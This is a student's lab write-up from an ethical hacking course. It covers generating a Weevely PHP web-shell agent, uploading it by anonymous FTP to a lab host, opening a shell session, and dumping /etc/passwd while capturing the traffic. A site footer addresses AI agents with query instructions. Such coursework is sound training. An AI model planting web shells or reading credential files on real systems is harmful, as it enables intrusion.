# Lab 8.1: Weevely

### Deliverable 1. Provide a screenshot that shows the relevant tcp stream similar to the one below. Create a capture filter on port 80 when you do so.

<figure><img src="https://3672032160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F3Qsmtw2a8kQMt8K7P5qR%2Fuploads%2FmxH08yNClAfIYDhPNEQG%2Fimage.png?alt=media&#x26;token=3417d279-0cc6-4dc4-9162-02c60654f7ca" alt=""><figcaption></figcaption></figure>

### Deliverable 2. Investigate weevely (a tool in kali). Create a php agent that is uniquely named, upload the agent to pippin and carry on a session similar to the one shown in the screenshot. Provide a screenshot of your session.

```bash
sudo weevely generate <Passwd> <File Output>
```

<figure><img src="https://3672032160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F3Qsmtw2a8kQMt8K7P5qR%2Fuploads%2FCCTayY8CQ4IbEMCEcATE%2Fimage.png?alt=media&#x26;token=ea670f9c-c22f-44d5-ab45-175904164d65" alt=""><figcaption><p>Example of what I did</p></figcaption></figure>

Upload php file to 10.0.5.25

```bash
ftp 10.0.5.25
Anonymous
no@gmail.com
cd upload
put 
./paul_weevely.php
paul_weevely.php
```

Now create the connection

```bash
weevely https://<ip>/<local>.php <passwd>
```

<figure><img src="https://3672032160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F3Qsmtw2a8kQMt8K7P5qR%2Fuploads%2FpcdCHx9MQhGIfInPy6ez%2Fimage.png?alt=media&#x26;token=e8a1c8cc-65e7-48de-b6ee-46a883961cd1" alt=""><figcaption></figcaption></figure>

### Deliverable 3. Provide a screenshot similar to the one below that displays the encoded tcp stream from a weevely dump of /etc/passwd. Make sure to use a capture filter of port 80, to limit traffic.

<figure><img src="https://3672032160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F3Qsmtw2a8kQMt8K7P5qR%2Fuploads%2Fir8pRY5FXHQXIlzf669x%2Fimage.png?alt=media&#x26;token=67984e5e-93f6-4c32-b042-3c99866b8f2a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://paul-gleason.gitbook.io/sec-335-eth.-hacking-and-pen.-testing/labs/lab-8.1-weevely.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
